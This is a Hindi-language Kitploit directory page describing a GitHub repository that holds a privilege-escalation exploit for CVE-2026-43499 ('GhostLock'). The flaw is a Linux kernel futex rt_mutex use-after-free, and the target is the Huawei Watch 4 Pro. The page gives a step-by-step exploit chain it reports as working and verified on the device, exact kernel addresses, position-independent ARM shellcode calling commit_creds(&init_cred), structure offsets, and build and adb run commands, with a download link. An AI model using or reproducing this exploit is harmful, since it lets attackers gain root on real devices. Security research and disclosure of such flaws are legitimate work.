Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) — Linux kernel futex PI rt_mutex UAF ARM32 विशेषाधिकार वृद्धि अनुसंधान जो Huawei Watch 4 Pro (kernel 5.4.210) को लक्षित करता है | Kitploit
उपकरण/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
एम्बेडेड सिस्टम सुरक्षाविशेषाधिकार वृद्धिIoT सुरक्षाभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेलोड डेवलपमेंटबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
gitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) — Linux kernel futex PI rt_mutex UAF ARM32 विशेषाधिकार वृद्धि अनुसंधान जो Huawei Watch 4 Pro (kernel 5.4.210) को लक्षित करता है

रिपॉजिटरी देखें
427829 दिन पहलेअभी तक समीक्षित नहीं

CVE-2026-43499 (GhostLock) — ARM32 कर्नेल प्रिविलेज एस्केलेशन रिसर्च

Linux कर्नेल futex PI rt_mutex Use-After-Free भेद्यता रिसर्च और एक्सप्लॉइट डेवलपमेंट, जिसका लक्ष्य Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, कर्नेल 5.4.210 है।

भेद्यता

kernel/locking/rt_mutex.c में remove_waiter() प्रॉक्सी-लॉक रोलबैक के दौरान waiter->task के बजाय गलती से current का उपयोग करता है, जिससे waiter टास्क पर pi_blocked_on साफ़ नहीं हो पाता। इससे waiter का कर्नेल स्टैक फ़्रेम मुक्त होने के बाद task_struct से स्टैक-आवंटित rt_mutex_waiter तक एक डैंगलिंग पॉइंटर बना रह जाता है — एक क्लासिक स्टैक Use-After-Free।

एक्सप्लॉइट रणनीति

  1. डैंगलिंग पॉइंटर — तीन थ्रेड्स के बीच futex(FUTEX_CMP_REQUEUE_PI) के माध्यम से EDEADLK रोलबैक ट्रिगर करें; waiter का pi_blocked_on मुक्त किए गए स्टैक की ओर इंगित करता है।
  2. स्टैक स्प्रे (स्टैम्प) — नियंत्रित डेटा के 15 बाइट्स को कर्नेल स्टैक पर कॉपी करने के लिए prctl(PR_SET_NAME) (विकल्प 15, अनप्रिविलेज्ड) का उपयोग करें, जिससे फ़ेक waiter के task/lock/prio फ़ील्ड ओवरराइट हो जाते हैं।
  3. राइट प्रिमिटिव — sched_setattr() PI चेन वॉक ट्रिगर करता है; फ़ेक waiter को एक फ़ोर्ज्ड rt_mutex में एनक्यू किया जाता है जो कर्नेल के file_operations स्ट्रक्चर को ओवरलैप करता है। रेड-ब्लैक ट्री इंसर्शन waiter के कर्नेल स्टैक एड्रेस को fops->unlocked_ioctl में लिखता है।
  4. कोड एक्ज़ीक्यूशन — waiter को पोज़िशन-इंडिपेंडेंट ARM शेलकोड के साथ फिर से स्टैम्प करें; एक वर्ल्ड-एक्सेसिबल कैरेक्टर डिवाइस खोलें और ioctl() कॉल करें, जो ओवरराइट किए गए unlocked_ioctl पॉइंटर के माध्यम से एक्ज़ीक्यूटेबल कर्नेल स्टैक पर मौजूद शेलकोड में डिस्पैच होता है।
  5. प्रिविलेज एस्केलेशन — शेलकोड commit_creds(waiter) कॉल करता है, जहाँ waiter के पहले फ़ील्ड (rb_insert_color द्वारा सेट) uid/gid = 0 वाला एक फ़ेक struct cred बनाते हैं।

वर्तमान स्थिति

  • UAF ट्रिगर: कार्यशील (डिवाइस पर सत्यापित)
  • prctl के माध्यम से स्टैक स्टैम्प: कार्यशील
  • एकल कर्नेल स्टैक-एड्रेस राइट प्रिमिटिव: कार्यशील (fops->unlocked_ioctl को waiter स्टैक एड्रेस से ओवरराइट करता है)
  • कर्नेल स्टैक एक्ज़ीक्यूटेबल की पुष्टि (BSS/स्टैक क्षेत्र पर कोई PXN/NX नहीं)
  • कोड एक्ज़ीक्यूशन और रूट एस्केलेशन: कार्यशील (ioctl(null_fd, IOCTL_CMD, 0) के माध्यम से शेलकोड में डिस्पैच -> commit_creds(&init_cred) -> रूट शेल)

लक्ष्य डिवाइस

प्रॉपर्टीमान
डिवाइसHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
कर्नेल5.4.210 (32-bit ARM)
KASLRअक्षम
PAN/SMAPअनुपस्थित
PXN0xc1b00000+ पर अनुपस्थित (स्टैक/BSS एक्ज़ीक्यूटेबल)
CFI/PACअनुपस्थित

प्रमुख कर्नेल एड्रेस

kernel base           0xC0008000
syscall table         0xc0101264
do_vfs_ioctl          0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds          0xc014c898  (true commit_creds entry)
override_creds        0xc014cac8  (leaf helper immediately following commit_creds)
rt_mutex_enqueue      0xc019c660
rb_insert_color       0xc104a918
init_task             0xc1b11640
init_cred             0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK             0xc141f5d4  (null_fops + 0x24)
write target          0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD             0x01B17E60  (INIT_CRED + 0x40000000)

रिपॉज़िटरी लेआउट

.
├── README.md                  # Project documentation
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   ├── nebula_poc.c           # Nebula team reference POC
│   └── variants/              # Research exploit variants & performance tests
│       ├── ghostlock_v11_kgsl_preadv2.c
│       ├── ghostlock_v6a_kgsl_getdents64.c
│       ├── ghostlock_v7_clock_adjtime.c
│       └── ...
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # Capstone/Keystone-based reverse engineering
│   ├── *.py                   # Disassembly and verification scripts
│   └── *.txt                  # Extracted tables and scan logs
├── references/
│   ├── ghostlock/             # Earlier exploit iterations & research notes
│   ├── ref_tc3650/            # TC3650 ARM32 reference materials
│   └── ref_oneplus_aarch64/   # OnePlus / Oppo AArch64 GhostLock references
└── tools/
    └── fetch_missing.sh       # Zig-based musl toolchain compilation script

बिल्ड करना

क्रॉस-कंपाइलेशन GCC या Zig का उपयोग करते हुए:

# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

चलाना

adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

शेलकोड डिज़ाइन

waiter+0x18 पर स्टैम्प किया गया स्थिति-स्वतंत्र ARM शेलकोड:

sub r0, r1, #0x40000000   @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4]         @ jump to commit_creds
.word 0xc014c898          @ true commit_creds entry
  • जब ioctl(null_fd, cmd, arg) f_op->unlocked_ioctl(filp, cmd, arg) को डिस्पैच करता है, तो रजिस्टर r1 में cmd आर्ग्युमेंट होता है।
  • cmd = 0x01B17E60 सेट करके, sub r0, r1, #0x40000000 (एन्कोडिंग 0xe2410101, शून्य null बाइट्स) r0 = 0xc1b17e60 (&init_cred) की गणना करता है।
  • commit_creds(&init_cred) पूर्ण क्षमताओं और स्वच्छ SELinux सुरक्षा संदर्भ के साथ रूट क्रेडेंशियल्स इंस्टॉल करता है, और साफ़ तौर पर do_vfs_ioctl (lr = 0xc031c8c0) पर लौटता है।

file_operations लेआउट नोट

इस वेंडर कर्नेल के struct file_operations में ऑफ़सेट +0x24 पर एक अतिरिक्त 4-बाइट फ़ील्ड है (poll और unlocked_ioctl के बीच), जो मानक Linux 5.4 के सापेक्ष सभी बाद के सदस्यों को 4 बाइट्स खिसका देता है:

+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

यह ashmem और null fops हैंडलरों को डिसअसेम्बल करके सत्यापित किया गया था।

अस्वीकरण

यह रिपॉज़िटरी केवल सुरक्षा अनुसंधान और शिक्षा के लिए है। इन तकनीकों का उपयोग उन उपकरणों पर न करें जो आपके स्वामित्व में नहीं हैं या जिनका परीक्षण करने के लिए आपके पास अधिकार नहीं है।

टूल डाउनलोड करें